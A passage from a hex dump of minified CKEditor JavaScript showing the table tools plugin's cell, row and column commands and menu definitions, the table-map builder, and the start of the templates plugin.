10e0: 77 73 5B 30 5D 2E 63 65 6C 6C 73 3B 65 3D 6E 65 ws[0].cells;e=ne
10f0: 77 20 43 4B 45 44 49 54 4F 52 2E 64 6F 6D 2E 65 w CKEDITOR.dom.e
1100: 6C 65 6D 65 6E 74 28 68 5B 65 5D 7C 7C 28 65 3F lement(h[e]||(e?
1110: 68 5B 65 2D 31 5D 3A 61 2E 24 2E 70 61 72 65 6E h[e-1]:a.$.paren
1120: 74 4E 6F 64 65 29 29 3B 69 2E 6C 65 6E 67 74 68 tNode));i.length
1130: 3D 3D 6B 26 26 61 2E 72 65 6D 6F 76 65 28 29 3B ==k&&a.remove();
1140: 65 26 26 67 28 65 2C 74 72 75 65 29 7D 7D 29 29 e&&g(e,true)}}))
1150: 3B 64 2E 61 64 64 43 6F 6D 6D 61 6E 64 28 22 63 ;d.addCommand("c
1160: 6F 6C 75 6D 6E 49 6E 73 65 72 74 42 65 66 6F 72 olumnInsertBefor
1170: 65 22 2C 65 28 7B 65 78 65 63 3A 66 75 6E 63 74 e",e({exec:funct
1180: 69 6F 6E 28 61 29 7B 61 3D 61 2E 67 65 74 53 65 ion(a){a=a.getSe
1190: 6C 65 63 74 69 6F 6E 28 29 3B 68 28 61 2C 74 72 lection();h(a,tr
11a0: 75 65 29 7D 7D 29 29 3B 64 2E 61 64 64 43 6F 6D ue)}}));d.addCom
11b0: 6D 61 6E 64 28 22 63 6F 6C 75 6D 6E 49 6E 73 65 mand("columnInse
11c0: 72 74 41 66 74 65 72 22 2C 65 28 7B 65 78 65 63 rtAfter",e({exec
11d0: 3A 66 75 6E 63 74 69 6F 6E 28 61 29 7B 61 3D 61 :function(a){a=a
11e0: 2E 67 65 74 53 65 6C 65 63 74 69 6F 6E 28 29 3B .getSelection();
11f0: 68 28 61 29 7D 7D 29 29 3B 64 2E 61 64 64 43 6F h(a)}}));d.addCo
1200: 6D 6D 61 6E 64 28 22 63 65 6C 6C 44 65 6C 65 74 mmand("cellDelet
1210: 65 22 2C 65 28 7B 65 78 65 63 3A 66 75 6E 63 74 e",e({exec:funct
1220: 69 6F 6E 28 61 29 7B 61 3D 61 2E 67 65 74 53 65 ion(a){a=a.getSe
1230: 6C 65 63 74 69 6F 6E 28 29 3B 66 28 61 29 7D 7D lection();f(a)}}
1240: 29 29 3B 64 2E 61 64 64 43 6F 6D 6D 61 6E 64 28 ));d.addCommand(
1250: 22 63 65 6C 6C 4D 65 72 67 65 22 2C 65 28 7B 65 "cellMerge",e({e
1260: 78 65 63 3A 66 75 6E 63 74 69 6F 6E 28 61 29 7B xec:function(a){
1270: 67 28 6A 28 61 2E 67 65 74 53 65 6C 65 63 74 69 g(j(a.getSelecti
1280: 6F 6E 28 29 29 2C 74 72 75 65 29 7D 7D 29 29 3B on()),true)}}));
1290: 64 2E 61 64 64 43 6F 6D 6D 61 6E 64 28 22 63 65 d.addCommand("ce
12a0: 6C 6C 4D 65 72 67 65 52 69 67 68 74 22 2C 65 28 llMergeRight",e(
12b0: 7B 65 78 65 63 3A 66 75 6E 63 74 69 6F 6E 28 61 {exec:function(a
12c0: 29 7B 67 28 6A 28 61 2E 67 65 74 53 65 6C 65 63 ){g(j(a.getSelec
12d0: 74 69 6F 6E 28 29 2C 0A 22 72 69 67 68 74 22 29 tion(),."right")
12e0: 2C 74 72 75 65 29 7D 7D 29 29 3B 64 2E 61 64 64 ,true)}}));d.add
12f0: 43 6F 6D 6D 61 6E 64 28 22 63 65 6C 6C 4D 65 72 Command("cellMer
1300: 67 65 44 6F 77 6E 22 2C 65 28 7B 65 78 65 63 3A geDown",e({exec:
1310: 66 75 6E 63 74 69 6F 6E 28 61 29 7B 67 28 6A 28 function(a){g(j(
1320: 61 2E 67 65 74 53 65 6C 65 63 74 69 6F 6E 28 29 a.getSelection()
1330: 2C 22 64 6F 77 6E 22 29 2C 74 72 75 65 29 7D 7D ,"down"),true)}}
1340: 29 29 3B 64 2E 61 64 64 43 6F 6D 6D 61 6E 64 28 ));d.addCommand(
1350: 22 63 65 6C 6C 56 65 72 74 69 63 61 6C 53 70 6C "cellVerticalSpl
1360: 69 74 22 2C 65 28 7B 65 78 65 63 3A 66 75 6E 63 it",e({exec:func
1370: 74 69 6F 6E 28 61 29 7B 67 28 6B 28 61 2E 67 65 tion(a){g(k(a.ge
1380: 74 53 65 6C 65 63 74 69 6F 6E 28 29 29 29 7D 7D tSelection()))}}
1390: 29 29 3B 64 2E 61 64 64 43 6F 6D 6D 61 6E 64 28 ));d.addCommand(
13a0: 22 63 65 6C 6C 48 6F 72 69 7A 6F 6E 74 61 6C 53 "cellHorizontalS
13b0: 70 6C 69 74 22 2C 65 28 7B 65 78 65 63 3A 66 75 plit",e({exec:fu
13c0: 6E 63 74 69 6F 6E 28 61 29 7B 67 28 6C 28 61 2E nction(a){g(l(a.
13d0: 67 65 74 53 65 6C 65 63 74 69 6F 6E 28 29 29 29 getSelection()))
13e0: 7D 7D 29 29 3B 64 2E 61 64 64 43 6F 6D 6D 61 6E }}));d.addComman
13f0: 64 28 22 63 65 6C 6C 49 6E 73 65 72 74 42 65 66 d("cellInsertBef
1400: 6F 72 65 22 2C 65 28 7B 65 78 65 63 3A 66 75 6E ore",e({exec:fun
1410: 63 74 69 6F 6E 28 61 29 7B 61 3D 61 2E 67 65 74 ction(a){a=a.get
1420: 53 65 6C 65 63 74 69 6F 6E 28 29 3B 69 28 61 2C Selection();i(a,
1430: 74 72 75 65 29 7D 7D 29 29 3B 64 2E 61 64 64 43 true)}}));d.addC
1440: 6F 6D 6D 61 6E 64 28 22 63 65 6C 6C 49 6E 73 65 ommand("cellInse
1450: 72 74 41 66 74 65 72 22 2C 65 28 7B 65 78 65 63 rtAfter",e({exec
1460: 3A 66 75 6E 63 74 69 6F 6E 28 61 29 7B 61 3D 61 :function(a){a=a
1470: 2E 67 65 74 53 65 6C 65 63 74 69 6F 6E 28 29 3B .getSelection();
1480: 69 28 61 29 7D 7D 29 29 3B 64 2E 61 64 64 4D 65 i(a)}}));d.addMe
1490: 6E 75 49 74 65 6D 73 26 26 64 2E 61 64 64 4D 65 nuItems&&d.addMe
14a0: 6E 75 49 74 65 6D 73 28 7B 74 61 62 6C 65 63 65 nuItems({tablece
14b0: 6C 6C 3A 7B 6C 61 62 65 6C 3A 6E 2E 63 65 6C 6C ll:{label:n.cell
14c0: 2E 6D 65 6E 75 2C 67 72 6F 75 70 3A 22 74 61 62 .menu,group:"tab
14d0: 6C 65 63 65 6C 6C 22 2C 0A 6F 72 64 65 72 3A 31 lecell",.order:1
14e0: 2C 67 65 74 49 74 65 6D 73 3A 66 75 6E 63 74 69 ,getItems:functi
14f0: 6F 6E 28 29 7B 76 61 72 20 61 3D 64 2E 67 65 74 on(){var a=d.get
1500: 53 65 6C 65 63 74 69 6F 6E 28 29 2C 66 3D 62 28 Selection(),f=b(
1510: 61 29 3B 72 65 74 75 72 6E 7B 74 61 62 6C 65 63 a);return{tablec
1520: 65 6C 6C 5F 69 6E 73 65 72 74 42 65 66 6F 72 65 ell_insertBefore
1530: 3A 43 4B 45 44 49 54 4F 52 2E 54 52 49 53 54 41 :CKEDITOR.TRISTA
1540: 54 45 5F 4F 46 46 2C 74 61 62 6C 65 63 65 6C 6C TE_OFF,tablecell
1550: 5F 69 6E 73 65 72 74 41 66 74 65 72 3A 43 4B 45 _insertAfter:CKE
1560: 44 49 54 4F 52 2E 54 52 49 53 54 41 54 45 5F 4F DITOR.TRISTATE_O
1570: 46 46 2C 74 61 62 6C 65 63 65 6C 6C 5F 64 65 6C FF,tablecell_del
1580: 65 74 65 3A 43 4B 45 44 49 54 4F 52 2E 54 52 49 ete:CKEDITOR.TRI
1590: 53 54 41 54 45 5F 4F 46 46 2C 74 61 62 6C 65 63 STATE_OFF,tablec
15a0: 65 6C 6C 5F 6D 65 72 67 65 3A 6A 28 61 2C 6E 75 ell_merge:j(a,nu
15b0: 6C 6C 2C 74 72 75 65 29 3F 43 4B 45 44 49 54 4F ll,true)?CKEDITO
15c0: 52 2E 54 52 49 53 54 41 54 45 5F 4F 46 46 3A 43 R.TRISTATE_OFF:C
15d0: 4B 45 44 49 54 4F 52 2E 54 52 49 53 54 41 54 45 KEDITOR.TRISTATE
15e0: 5F 44 49 53 41 42 4C 45 44 2C 74 61 62 6C 65 63 _DISABLED,tablec
15f0: 65 6C 6C 5F 6D 65 72 67 65 5F 72 69 67 68 74 3A ell_merge_right:
1600: 6A 28 61 2C 22 72 69 67 68 74 22 2C 74 72 75 65 j(a,"right",true
1610: 29 3F 43 4B 45 44 49 54 4F 52 2E 54 52 49 53 54 )?CKEDITOR.TRIST
1620: 41 54 45 5F 4F 46 46 3A 43 4B 45 44 49 54 4F 52 ATE_OFF:CKEDITOR
1630: 2E 54 52 49 53 54 41 54 45 5F 44 49 53 41 42 4C .TRISTATE_DISABL
1640: 45 44 2C 74 61 62 6C 65 63 65 6C 6C 5F 6D 65 72 ED,tablecell_mer
1650: 67 65 5F 64 6F 77 6E 3A 6A 28 61 2C 22 64 6F 77 ge_down:j(a,"dow
1660: 6E 22 2C 74 72 75 65 29 3F 43 4B 45 44 49 54 4F n",true)?CKEDITO
1670: 52 2E 54 52 49 53 54 41 54 45 5F 4F 46 46 3A 43 R.TRISTATE_OFF:C
1680: 4B 45 44 49 54 4F 52 2E 54 52 49 53 54 41 54 45 KEDITOR.TRISTATE
1690: 5F 44 49 53 41 42 4C 45 44 2C 74 61 62 6C 65 63 _DISABLED,tablec
16a0: 65 6C 6C 5F 73 70 6C 69 74 5F 76 65 72 74 69 63 ell_split_vertic
16b0: 61 6C 3A 6B 28 61 2C 74 72 75 65 29 3F 43 4B 45 al:k(a,true)?CKE
16c0: 44 49 54 4F 52 2E 54 52 49 53 54 41 54 45 5F 4F DITOR.TRISTATE_O
16d0: 46 46 3A 0A 43 4B 45 44 49 54 4F 52 2E 54 52 49 FF:.CKEDITOR.TRI
16e0: 53 54 41 54 45 5F 44 49 53 41 42 4C 45 44 2C 74 STATE_DISABLED,t
16f0: 61 62 6C 65 63 65 6C 6C 5F 73 70 6C 69 74 5F 68 ablecell_split_h
1700: 6F 72 69 7A 6F 6E 74 61 6C 3A 6C 28 61 2C 74 72 orizontal:l(a,tr
1710: 75 65 29 3F 43 4B 45 44 49 54 4F 52 2E 54 52 49 ue)?CKEDITOR.TRI
1720: 53 54 41 54 45 5F 4F 46 46 3A 43 4B 45 44 49 54 STATE_OFF:CKEDIT
1730: 4F 52 2E 54 52 49 53 54 41 54 45 5F 44 49 53 41 OR.TRISTATE_DISA
1740: 42 4C 45 44 2C 74 61 62 6C 65 63 65 6C 6C 5F 70 BLED,tablecell_p
1750: 72 6F 70 65 72 74 69 65 73 3A 66 2E 6C 65 6E 67 roperties:f.leng
1760: 74 68 3E 30 3F 43 4B 45 44 49 54 4F 52 2E 54 52 th>0?CKEDITOR.TR
1770: 49 53 54 41 54 45 5F 4F 46 46 3A 43 4B 45 44 49 ISTATE_OFF:CKEDI
1780: 54 4F 52 2E 54 52 49 53 54 41 54 45 5F 44 49 53 TOR.TRISTATE_DIS
1790: 41 42 4C 45 44 7D 7D 7D 2C 74 61 62 6C 65 63 65 ABLED}}},tablece
17a0: 6C 6C 5F 69 6E 73 65 72 74 42 65 66 6F 72 65 3A ll_insertBefore:
17b0: 7B 6C 61 62 65 6C 3A 6E 2E 63 65 6C 6C 2E 69 6E {label:n.cell.in
17c0: 73 65 72 74 42 65 66 6F 72 65 2C 67 72 6F 75 70 sertBefore,group
17d0: 3A 22 74 61 62 6C 65 63 65 6C 6C 22 2C 63 6F 6D :"tablecell",com
17e0: 6D 61 6E 64 3A 22 63 65 6C 6C 49 6E 73 65 72 74 mand:"cellInsert
17f0: 42 65 66 6F 72 65 22 2C 6F 72 64 65 72 3A 35 7D Before",order:5}
1800: 2C 74 61 62 6C 65 63 65 6C 6C 5F 69 6E 73 65 72 ,tablecell_inser
1810: 74 41 66 74 65 72 3A 7B 6C 61 62 65 6C 3A 6E 2E tAfter:{label:n.
1820: 63 65 6C 6C 2E 69 6E 73 65 72 74 41 66 74 65 72 cell.insertAfter
1830: 2C 67 72 6F 75 70 3A 22 74 61 62 6C 65 63 65 6C ,group:"tablecel
1840: 6C 22 2C 63 6F 6D 6D 61 6E 64 3A 22 63 65 6C 6C l",command:"cell
1850: 49 6E 73 65 72 74 41 66 74 65 72 22 2C 6F 72 64 InsertAfter",ord
1860: 65 72 3A 31 30 7D 2C 74 61 62 6C 65 63 65 6C 6C er:10},tablecell
1870: 5F 64 65 6C 65 74 65 3A 7B 6C 61 62 65 6C 3A 6E _delete:{label:n
1880: 2E 63 65 6C 6C 2E 64 65 6C 65 74 65 43 65 6C 6C .cell.deleteCell
1890: 2C 67 72 6F 75 70 3A 22 74 61 62 6C 65 63 65 6C ,group:"tablecel
18a0: 6C 22 2C 63 6F 6D 6D 61 6E 64 3A 22 63 65 6C 6C l",command:"cell
18b0: 44 65 6C 65 74 65 22 2C 6F 72 64 65 72 3A 31 35 Delete",order:15
18c0: 7D 2C 74 61 62 6C 65 63 65 6C 6C 5F 6D 65 72 67 },tablecell_merg
18d0: 65 3A 7B 6C 61 62 65 6C 3A 6E 2E 63 65 6C 6C 2E e:{label:n.cell.
18e0: 6D 65 72 67 65 2C 0A 67 72 6F 75 70 3A 22 74 61 merge,.group:"ta
18f0: 62 6C 65 63 65 6C 6C 22 2C 63 6F 6D 6D 61 6E 64 blecell",command
1900: 3A 22 63 65 6C 6C 4D 65 72 67 65 22 2C 6F 72 64 :"cellMerge",ord
1910: 65 72 3A 31 36 7D 2C 74 61 62 6C 65 63 65 6C 6C er:16},tablecell
1920: 5F 6D 65 72 67 65 5F 72 69 67 68 74 3A 7B 6C 61 _merge_right:{la
1930: 62 65 6C 3A 6E 2E 63 65 6C 6C 2E 6D 65 72 67 65 bel:n.cell.merge
1940: 52 69 67 68 74 2C 67 72 6F 75 70 3A 22 74 61 62 Right,group:"tab
1950: 6C 65 63 65 6C 6C 22 2C 63 6F 6D 6D 61 6E 64 3A lecell",command:
1960: 22 63 65 6C 6C 4D 65 72 67 65 52 69 67 68 74 22 "cellMergeRight"
1970: 2C 6F 72 64 65 72 3A 31 37 7D 2C 74 61 62 6C 65 ,order:17},table
1980: 63 65 6C 6C 5F 6D 65 72 67 65 5F 64 6F 77 6E 3A cell_merge_down:
1990: 7B 6C 61 62 65 6C 3A 6E 2E 63 65 6C 6C 2E 6D 65 {label:n.cell.me
19a0: 72 67 65 44 6F 77 6E 2C 67 72 6F 75 70 3A 22 74 rgeDown,group:"t
19b0: 61 62 6C 65 63 65 6C 6C 22 2C 63 6F 6D 6D 61 6E ablecell",comman
19c0: 64 3A 22 63 65 6C 6C 4D 65 72 67 65 44 6F 77 6E d:"cellMergeDown
19d0: 22 2C 6F 72 64 65 72 3A 31 38 7D 2C 74 61 62 6C ",order:18},tabl
19e0: 65 63 65 6C 6C 5F 73 70 6C 69 74 5F 68 6F 72 69 ecell_split_hori
19f0: 7A 6F 6E 74 61 6C 3A 7B 6C 61 62 65 6C 3A 6E 2E zontal:{label:n.
1a00: 63 65 6C 6C 2E 73 70 6C 69 74 48 6F 72 69 7A 6F cell.splitHorizo
1a10: 6E 74 61 6C 2C 67 72 6F 75 70 3A 22 74 61 62 6C ntal,group:"tabl
1a20: 65 63 65 6C 6C 22 2C 63 6F 6D 6D 61 6E 64 3A 22 ecell",command:"
1a30: 63 65 6C 6C 48 6F 72 69 7A 6F 6E 74 61 6C 53 70 cellHorizontalSp
1a40: 6C 69 74 22 2C 6F 72 64 65 72 3A 31 39 7D 2C 74 lit",order:19},t
1a50: 61 62 6C 65 63 65 6C 6C 5F 73 70 6C 69 74 5F 76 ablecell_split_v
1a60: 65 72 74 69 63 61 6C 3A 7B 6C 61 62 65 6C 3A 6E ertical:{label:n
1a70: 2E 63 65 6C 6C 2E 73 70 6C 69 74 56 65 72 74 69 .cell.splitVerti
1a80: 63 61 6C 2C 67 72 6F 75 70 3A 22 74 61 62 6C 65 cal,group:"table
1a90: 63 65 6C 6C 22 2C 63 6F 6D 6D 61 6E 64 3A 22 63 cell",command:"c
1aa0: 65 6C 6C 56 65 72 74 69 63 61 6C 53 70 6C 69 74 ellVerticalSplit
1ab0: 22 2C 6F 72 64 65 72 3A 32 30 7D 2C 74 61 62 6C ",order:20},tabl
1ac0: 65 63 65 6C 6C 5F 70 72 6F 70 65 72 74 69 65 73 ecell_properties
1ad0: 3A 7B 6C 61 62 65 6C 3A 6E 2E 63 65 6C 6C 2E 74 :{label:n.cell.t
1ae0: 69 74 6C 65 2C 0A 67 72 6F 75 70 3A 22 74 61 62 itle,.group:"tab
1af0: 6C 65 63 65 6C 6C 70 72 6F 70 65 72 74 69 65 73 lecellproperties
1b00: 22 2C 63 6F 6D 6D 61 6E 64 3A 22 63 65 6C 6C 50 ",command:"cellP
1b10: 72 6F 70 65 72 74 69 65 73 22 2C 6F 72 64 65 72 roperties",order
1b20: 3A 32 31 7D 2C 74 61 62 6C 65 72 6F 77 3A 7B 6C :21},tablerow:{l
1b30: 61 62 65 6C 3A 6E 2E 72 6F 77 2E 6D 65 6E 75 2C abel:n.row.menu,
1b40: 67 72 6F 75 70 3A 22 74 61 62 6C 65 72 6F 77 22 group:"tablerow"
1b50: 2C 6F 72 64 65 72 3A 31 2C 67 65 74 49 74 65 6D ,order:1,getItem
1b60: 73 3A 66 75 6E 63 74 69 6F 6E 28 29 7B 72 65 74 s:function(){ret
1b70: 75 72 6E 7B 74 61 62 6C 65 72 6F 77 5F 69 6E 73 urn{tablerow_ins
1b80: 65 72 74 42 65 66 6F 72 65 3A 43 4B 45 44 49 54 ertBefore:CKEDIT
1b90: 4F 52 2E 54 52 49 53 54 41 54 45 5F 4F 46 46 2C OR.TRISTATE_OFF,
1ba0: 74 61 62 6C 65 72 6F 77 5F 69 6E 73 65 72 74 41 tablerow_insertA
1bb0: 66 74 65 72 3A 43 4B 45 44 49 54 4F 52 2E 54 52 fter:CKEDITOR.TR
1bc0: 49 53 54 41 54 45 5F 4F 46 46 2C 74 61 62 6C 65 ISTATE_OFF,table
1bd0: 72 6F 77 5F 64 65 6C 65 74 65 3A 43 4B 45 44 49 row_delete:CKEDI
1be0: 54 4F 52 2E 54 52 49 53 54 41 54 45 5F 4F 46 46 TOR.TRISTATE_OFF
1bf0: 7D 7D 7D 2C 74 61 62 6C 65 72 6F 77 5F 69 6E 73 }}},tablerow_ins
1c00: 65 72 74 42 65 66 6F 72 65 3A 7B 6C 61 62 65 6C ertBefore:{label
1c10: 3A 6E 2E 72 6F 77 2E 69 6E 73 65 72 74 42 65 66 :n.row.insertBef
1c20: 6F 72 65 2C 67 72 6F 75 70 3A 22 74 61 62 6C 65 ore,group:"table
1c30: 72 6F 77 22 2C 63 6F 6D 6D 61 6E 64 3A 22 72 6F row",command:"ro
1c40: 77 49 6E 73 65 72 74 42 65 66 6F 72 65 22 2C 6F wInsertBefore",o
1c50: 72 64 65 72 3A 35 7D 2C 74 61 62 6C 65 72 6F 77 rder:5},tablerow
1c60: 5F 69 6E 73 65 72 74 41 66 74 65 72 3A 7B 6C 61 _insertAfter:{la
1c70: 62 65 6C 3A 6E 2E 72 6F 77 2E 69 6E 73 65 72 74 bel:n.row.insert
1c80: 41 66 74 65 72 2C 67 72 6F 75 70 3A 22 74 61 62 After,group:"tab
1c90: 6C 65 72 6F 77 22 2C 63 6F 6D 6D 61 6E 64 3A 22 lerow",command:"
1ca0: 72 6F 77 49 6E 73 65 72 74 41 66 74 65 72 22 2C rowInsertAfter",
1cb0: 6F 72 64 65 72 3A 31 30 7D 2C 74 61 62 6C 65 72 order:10},tabler
1cc0: 6F 77 5F 64 65 6C 65 74 65 3A 7B 6C 61 62 65 6C ow_delete:{label
1cd0: 3A 6E 2E 72 6F 77 2E 64 65 6C 65 74 65 52 6F 77 :n.row.deleteRow
1ce0: 2C 0A 67 72 6F 75 70 3A 22 74 61 62 6C 65 72 6F ,.group:"tablero
1cf0: 77 22 2C 63 6F 6D 6D 61 6E 64 3A 22 72 6F 77 44 w",command:"rowD
1d00: 65 6C 65 74 65 22 2C 6F 72 64 65 72 3A 31 35 7D elete",order:15}
1d10: 2C 74 61 62 6C 65 63 6F 6C 75 6D 6E 3A 7B 6C 61 ,tablecolumn:{la
1d20: 62 65 6C 3A 6E 2E 63 6F 6C 75 6D 6E 2E 6D 65 6E bel:n.column.men
1d30: 75 2C 67 72 6F 75 70 3A 22 74 61 62 6C 65 63 6F u,group:"tableco
1d40: 6C 75 6D 6E 22 2C 6F 72 64 65 72 3A 31 2C 67 65 lumn",order:1,ge
1d50: 74 49 74 65 6D 73 3A 66 75 6E 63 74 69 6F 6E 28 tItems:function(
1d60: 29 7B 72 65 74 75 72 6E 7B 74 61 62 6C 65 63 6F ){return{tableco
1d70: 6C 75 6D 6E 5F 69 6E 73 65 72 74 42 65 66 6F 72 lumn_insertBefor
1d80: 65 3A 43 4B 45 44 49 54 4F 52 2E 54 52 49 53 54 e:CKEDITOR.TRIST
1d90: 41 54 45 5F 4F 46 46 2C 74 61 62 6C 65 63 6F 6C ATE_OFF,tablecol
1da0: 75 6D 6E 5F 69 6E 73 65 72 74 41 66 74 65 72 3A umn_insertAfter:
1db0: 43 4B 45 44 49 54 4F 52 2E 54 52 49 53 54 41 54 CKEDITOR.TRISTAT
1dc0: 45 5F 4F 46 46 2C 74 61 62 6C 65 63 6F 6C 75 6D E_OFF,tablecolum
1dd0: 6E 5F 64 65 6C 65 74 65 3A 43 4B 45 44 49 54 4F n_delete:CKEDITO
1de0: 52 2E 54 52 49 53 54 41 54 45 5F 4F 46 46 7D 7D R.TRISTATE_OFF}}
1df0: 7D 2C 74 61 62 6C 65 63 6F 6C 75 6D 6E 5F 69 6E },tablecolumn_in
1e00: 73 65 72 74 42 65 66 6F 72 65 3A 7B 6C 61 62 65 sertBefore:{labe
1e10: 6C 3A 6E 2E 63 6F 6C 75 6D 6E 2E 69 6E 73 65 72 l:n.column.inser
1e20: 74 42 65 66 6F 72 65 2C 67 72 6F 75 70 3A 22 74 tBefore,group:"t
1e30: 61 62 6C 65 63 6F 6C 75 6D 6E 22 2C 63 6F 6D 6D ablecolumn",comm
1e40: 61 6E 64 3A 22 63 6F 6C 75 6D 6E 49 6E 73 65 72 and:"columnInser
1e50: 74 42 65 66 6F 72 65 22 2C 6F 72 64 65 72 3A 35 tBefore",order:5
1e60: 7D 2C 74 61 62 6C 65 63 6F 6C 75 6D 6E 5F 69 6E },tablecolumn_in
1e70: 73 65 72 74 41 66 74 65 72 3A 7B 6C 61 62 65 6C sertAfter:{label
1e80: 3A 6E 2E 63 6F 6C 75 6D 6E 2E 69 6E 73 65 72 74 :n.column.insert
1e90: 41 66 74 65 72 2C 67 72 6F 75 70 3A 22 74 61 62 After,group:"tab
1ea0: 6C 65 63 6F 6C 75 6D 6E 22 2C 63 6F 6D 6D 61 6E lecolumn",comman
1eb0: 64 3A 22 63 6F 6C 75 6D 6E 49 6E 73 65 72 74 41 d:"columnInsertA
1ec0: 66 74 65 72 22 2C 6F 72 64 65 72 3A 31 30 7D 2C fter",order:10},
1ed0: 74 61 62 6C 65 63 6F 6C 75 6D 6E 5F 64 65 6C 65 tablecolumn_dele
1ee0: 74 65 3A 7B 6C 61 62 65 6C 3A 6E 2E 63 6F 6C 75 te:{label:n.colu
1ef0: 6D 6E 2E 64 65 6C 65 74 65 43 6F 6C 75 6D 6E 2C mn.deleteColumn,
1f00: 0A 67 72 6F 75 70 3A 22 74 61 62 6C 65 63 6F 6C .group:"tablecol
1f10: 75 6D 6E 22 2C 63 6F 6D 6D 61 6E 64 3A 22 63 6F umn",command:"co
1f20: 6C 75 6D 6E 44 65 6C 65 74 65 22 2C 6F 72 64 65 lumnDelete",orde
1f30: 72 3A 31 35 7D 7D 29 3B 64 2E 63 6F 6E 74 65 78 r:15}});d.contex
1f40: 74 4D 65 6E 75 26 26 64 2E 63 6F 6E 74 65 78 74 tMenu&&d.context
1f50: 4D 65 6E 75 2E 61 64 64 4C 69 73 74 65 6E 65 72 Menu.addListener
1f60: 28 66 75 6E 63 74 69 6F 6E 28 61 2C 62 2C 66 29 (function(a,b,f)
1f70: 7B 72 65 74 75 72 6E 28 61 3D 66 2E 63 6F 6E 74 {return(a=f.cont
1f80: 61 69 6E 73 28 7B 74 64 3A 31 2C 74 68 3A 31 7D ains({td:1,th:1}
1f90: 2C 31 29 29 26 26 21 61 2E 69 73 52 65 61 64 4F ,1))&&!a.isReadO
1fa0: 6E 6C 79 28 29 3F 7B 74 61 62 6C 65 63 65 6C 6C nly()?{tablecell
1fb0: 3A 43 4B 45 44 49 54 4F 52 2E 54 52 49 53 54 41 :CKEDITOR.TRISTA
1fc0: 54 45 5F 4F 46 46 2C 74 61 62 6C 65 72 6F 77 3A TE_OFF,tablerow:
1fd0: 43 4B 45 44 49 54 4F 52 2E 54 52 49 53 54 41 54 CKEDITOR.TRISTAT
1fe0: 45 5F 4F 46 46 2C 74 61 62 6C 65 63 6F 6C 75 6D E_OFF,tablecolum
1ff0: 6E 3A 43 4B 45 44 49 54 4F 52 2E 54 52 49 53 54 n:CKEDITOR.TRIST
2000: 41 54 45 5F 4F 46 46 7D 3A 6E 75 6C 6C 7D 29 7D ATE_OFF}:null})}
2010: 2C 67 65 74 53 65 6C 65 63 74 65 64 43 65 6C 6C ,getSelectedCell
2020: 73 3A 62 7D 3B 43 4B 45 44 49 54 4F 52 2E 70 6C s:b};CKEDITOR.pl
2030: 75 67 69 6E 73 2E 61 64 64 28 22 74 61 62 6C 65 ugins.add("table
2040: 74 6F 6F 6C 73 22 2C 43 4B 45 44 49 54 4F 52 2E tools",CKEDITOR.
2050: 70 6C 75 67 69 6E 73 2E 74 61 62 6C 65 74 6F 6F plugins.tabletoo
2060: 6C 73 29 7D 28 29 2C 43 4B 45 44 49 54 4F 52 2E ls)}(),CKEDITOR.
2070: 74 6F 6F 6C 73 2E 62 75 69 6C 64 54 61 62 6C 65 tools.buildTable
2080: 4D 61 70 3D 66 75 6E 63 74 69 6F 6E 28 62 29 7B Map=function(b){
2090: 66 6F 72 28 76 61 72 20 62 3D 62 2E 24 2E 72 6F for(var b=b.$.ro
20a0: 77 73 2C 63 3D 2D 31 2C 61 3D 5B 5D 2C 65 3D 30 ws,c=-1,a=[],e=0
20b0: 3B 65 3C 62 2E 6C 65 6E 67 74 68 3B 65 2B 2B 29 ;e<b.length;e++)
20c0: 7B 63 2B 2B 3B 21 61 5B 63 5D 26 26 28 61 5B 63 {c++;!a[c]&&(a[c
20d0: 5D 3D 5B 5D 29 3B 66 6F 72 28 76 61 72 20 68 3D ]=[]);for(var h=
20e0: 2D 31 2C 69 3D 30 3B 69 3C 62 5B 65 5D 2E 63 65 -1,i=0;i<b[e].ce
20f0: 6C 6C 73 2E 6C 65 6E 67 74 68 3B 69 2B 2B 29 7B lls.length;i++){
2100: 76 61 72 20 66 3D 0A 62 5B 65 5D 2E 63 65 6C 6C var f=.b[e].cell
2110: 73 5B 69 5D 3B 66 6F 72 28 68 2B 2B 3B 61 5B 63 s[i];for(h++;a[c
2120: 5D 5B 68 5D 3B 29 68 2B 2B 3B 66 6F 72 28 76 61 ][h];)h++;for(va
2130: 72 20 67 3D 69 73 4E 61 4E 28 66 2E 63 6F 6C 53 r g=isNaN(f.colS
2140: 70 61 6E 29 3F 31 3A 66 2E 63 6F 6C 53 70 61 6E pan)?1:f.colSpan
2150: 2C 66 3D 69 73 4E 61 4E 28 66 2E 72 6F 77 53 70 ,f=isNaN(f.rowSp
2160: 61 6E 29 3F 31 3A 66 2E 72 6F 77 53 70 61 6E 2C an)?1:f.rowSpan,
2170: 64 3D 30 3B 64 3C 66 3B 64 2B 2B 29 7B 61 5B 63 d=0;d<f;d++){a[c
2180: 2B 64 5D 7C 7C 28 61 5B 63 2B 64 5D 3D 5B 5D 29 +d]||(a[c+d]=[])
2190: 3B 66 6F 72 28 76 61 72 20 6A 3D 30 3B 6A 3C 67 ;for(var j=0;j<g
21a0: 3B 6A 2B 2B 29 61 5B 63 2B 64 5D 5B 68 2B 6A 5D ;j++)a[c+d][h+j]
21b0: 3D 62 5B 65 5D 2E 63 65 6C 6C 73 5B 69 5D 7D 68 =b[e].cells[i]}h
21c0: 3D 68 2B 28 67 2D 31 29 7D 7D 72 65 74 75 72 6E =h+(g-1)}}return
21d0: 20 61 7D 2C 66 75 6E 63 74 69 6F 6E 28 29 7B 43 a},function(){C
21e0: 4B 45 44 49 54 4F 52 2E 70 6C 75 67 69 6E 73 2E KEDITOR.plugins.
21f0: 61 64 64 28 22 74 65 6D 70 6C 61 74 65 73 22 2C add("templates",
2200: 7B 72 65 71 75 69 72 65 73 3A 22 64 69 61 6C 6F {requires:"dialo
2210: 67 22 2C 69 6E 69 74 3A 66 75 6E 63 74 69 6F 6E g",init:function
2220: 28 61 29 7B 43 4B 45 44 49 54 4F 52 2E 64 69 61 (a){CKEDITOR.dia
2230: 6C 6F 67 2E 61 64 64 28 22 74 65 6D 70 6C 61 74 log.add("templat
2240: 65 73 22 2C 43 4B 45 44 49 54 4F 52 2E 67 65 74 es",CKEDITOR.get
2250: 55 72 6C 28 74 68 69 73 2E 70 61 74 68 2B 22 64 Url(this.path+"d
2260: 69 61 6C 6F 67 73 2F 74 65 6D 70 6C 61 74 65 73 ialogs/templates
2270: 2E 6A 73 22 29 29 3B 61 2E 61 64 64 43 6F 6D 6D .js"));a.addComm
2280: 61 6E 64 28 22 74 65 6D 70 6C 61 74 65 73 22 2C and("templates",
2290: 6E 65 77 20 43 4B 45 44 49 54 4F 52 2E 64 69 61 new CKEDITOR.dia
